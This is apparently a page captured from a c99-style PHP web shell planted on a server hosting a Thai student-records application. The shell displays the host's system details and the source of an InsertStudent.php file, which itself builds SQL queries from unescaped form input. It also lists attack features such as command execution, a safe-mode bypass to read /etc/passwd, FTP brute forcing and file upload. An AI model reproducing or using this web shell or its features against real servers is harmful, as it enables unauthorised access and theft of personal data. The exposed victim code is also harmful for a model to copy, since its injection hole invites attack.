!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     InsertStudent.php (6.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 session_start
();
if (
session_is_registered("valid_user"))
 {
include(
"../include/FunctionDB.php");
include(
"../include/Function.php");
ConnectDB();
$Flag true;
$Student_id htmlspecialchars(trim($_POST[Student_id]));
$Course_code htmlspecialchars(trim($_POST[Course_code]));
$Class htmlspecialchars(trim($_POST['Class']));
$Orderlist htmlspecialchars(trim($_POST[Orderlist]));
$First_name htmlspecialchars(trim($_POST[First_name]));
$Name htmlspecialchars(trim($_POST[Name]));
$Lastname htmlspecialchars(trim($_POST[Lastname]));
$Address =  htmlspecialchars(trim($_POST[Address]));
$Sex trim$_POST[Sex]);
$ProvinceId trim$_POST[ProvinceId]);
$DateBirth $_POST[mYear]."-".$_POST[mMonth]."-".$_POST[mDate];
$Father_name htmlspecialchars(trim($_POST[Father_name]));
$Mother_name htmlspecialchars(trim($_POST[Mother_name]));
$Address2 =  htmlspecialchars(trim($_POST[Address2]));
$Telno htmlspecialchars(trim($_POST[Telno]));
$Date_in $_POST[mYear2]."-".$_POST[mMonth2]."-".$_POST[mDate2];
$Term trim($_POST[Term]);

///////////////     Check Duplicate Teacher Id /////////////////////////////////////
$sql3 "Select * From student_tb Where Student_id='$Student_id'";
$result3 mysql_query($sql3) or die("Error $result3".mysql_error());
$Checkmysql_num_rows($result3);
if (
$Check >0)
{
$msg .="<li>รหัสนักศึกษารหัส $Student_id มีในฐานข้อมูลแล้ว";
$button ="<input type=\"button\" value=\"Back to Edit\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">";
$Flag false;
}
////////////////////////// check First name 
if ($First_name =="")
{
$msg .="<li>กรุณาระบุ คำนำหน้า";
$button ="<input type=\"button\" value=\"กลับไปแก้ไข\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">";
$Flag false;
}
///////////////////// check name
if ($Name =="")
{
$msg .="<li>กรุณาระบุ ชื่อ";
$button ="<input type=\"button\" value=\"กลับไปแก้ไข\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">";
$Flag false;
}
/////////////////// Check Lastname
if ($Lastname =="")
{
$msg .="<li>กรุณาระบุ นามสกุล";
$button ="<input type=\"button\" value=\"กลับไปแก้ไข\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">";
$Flag false;
}
////////////////////////// check First name 
if ($Sex =="")
{
$msg .="<li>กรุณาระบุ เพศ";
$button ="<input type=\"button\" value=\"กลับไปแก้ไข\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">";
$Flag false;
}
////////////////////////
/*if ( ! CheckLenght($Student_id,7))
    {
        $msg .= "<li>รหัสนักศึกษาต้องมีตั้งแต่ 7 หลัก";
        $button = "<input type=\"button\" value=\"กลับไปแก้ไข\" onclick=\"history.back();\" style=\"font-weight:bold; color:#FFF; background-color:#036; border-style:outset; border-color:#69F; font-family: Tahoma;\">";
        $Flag = false;
    }*/
///////////////////////  Check Address
if ($Address=="")
{
$msg .="<li>กรุณาระบุ ภูมิลำเนา";
$button ="<input type=\"button\" value=\"กลับไปแก้ไข\" onclick=\"history.back();\" style=\"font-weight:bold;color:#FFF;background-color:#036;border-style:outset;border-color:#69F;font-family:Tohoma;\">";
$Flag false;
}

///////////////////////// Check Status to Insert Data /////////////////////////////

   
if( $Flag)
    {
       
$Path "../Std_pic"
    if ( isset(
$Img1) )
    if (
copy($Img1,"$Path/$Img1_name")) 
       {
            
unlink ($Img1);
            
$Img1 "$Path/$Img1_name";
         }
        else
            echo
"Can't Copy";
      
       
InsertStudent($Course_code,$ProvincdId,$Class,$Orderlist,$Student_id,$First_name,$Name,$Lastname,$Sex,$DateBirth,$Religion,$Address,$Img1,$Father_name,$Mother_name,$Address2,$Telno,$Pre_inst,$Pre_gpa,$Select_Method,$Term,$Date_in,$Institute,$Teacher_code,$Affect_class,$Scholarship_code,$Address_cur,$Coll_in,$Coll_out,$Circle_duty,$Circle,$Succ_Status) ;
          
$msg.="<li>$Student_id<b>$Name $Lastname</b>";
          
$msg.="<li>ระบบจัดเก็บข้อมูลเรียบร้อยแล้ว";
        echo
"<meta http-equiv=\"refresh\" content=\"1;URL=StudentList.php\">\n";
      
     }
    
CloseDB();
?>
<html>
<head>
<title>Student</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link rel="stylesheet" href="/css/style1.css" type="text/css">
</head>
<body bgcolor="#FFFFFF" leftmargin="0" topmargin="0"marginwidth="0"marginheight="0">
<form>
<br>
  <table width="70%" border="0" cellspacing="0"cellpadding="2"align="center">
    <tr>
      <td><div align="center"><span><b><font color="#003399" size="4" face="Tahoma">::แบบฟอร์มกรอกข้อมูลนักศึกษา::</font></b></span></div></td>
</tr>
<tr>
<td>
<table width="100%" border="0" cellspacing="1"cellpadding="0"align="center" class="table">
          <tr>
            <td bgcolor="#AFCFEF"><b><font color="#003333" size="3" face="Tahoma">ระบบแจ้งการทำงาน</font></b></td>
</tr>
<tr>
            <td bgcolor="#000000"> 
              <table width="90%" border="0" cellspacing="0"cellpadding="2"align="center">
<tr>
<td><span><b><font color="#FFFFFF"><?php echo $msg;?></font></b></span></td>
</tr>
</table>
</td>
</tr>
<tr>
            <td bgcolor="#AFCFEF"> 
              <div align="center"><b><font color="#CCFF00"><?php echo $button;?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font size="2" face="Tahoma"></font></font></b></div></td>
</tr>
</table>
</td>
</tr>
</table>
  <br>
</form>
</body>
</html>
<?php 
    
}
else
{
    echo
"<body bgcolor=\"#CCCCCC\">";
     echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../logout.php\" target=\"mainFrame\">\n";
     echo
"<center>";
      echo
"<br><br><br><b><font face=\"Tahoma\" size=\"4\" color=\"#FF0000\">Please Login</font> </b><br>";
      echo
"<br><br><font face=\"Tahoma\" size=\"10\" color=\"#000000\"> ERROR 404 PERMISION DENY</font><br>";
      echo
"<br><font face=\"Tahoma\" size=\"4\" color=\"#000000\"> คุณไม่มสิทธ์ใช้งาน</font>";
      echo
"</center>";
      echo
"</body>";

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0062 ]--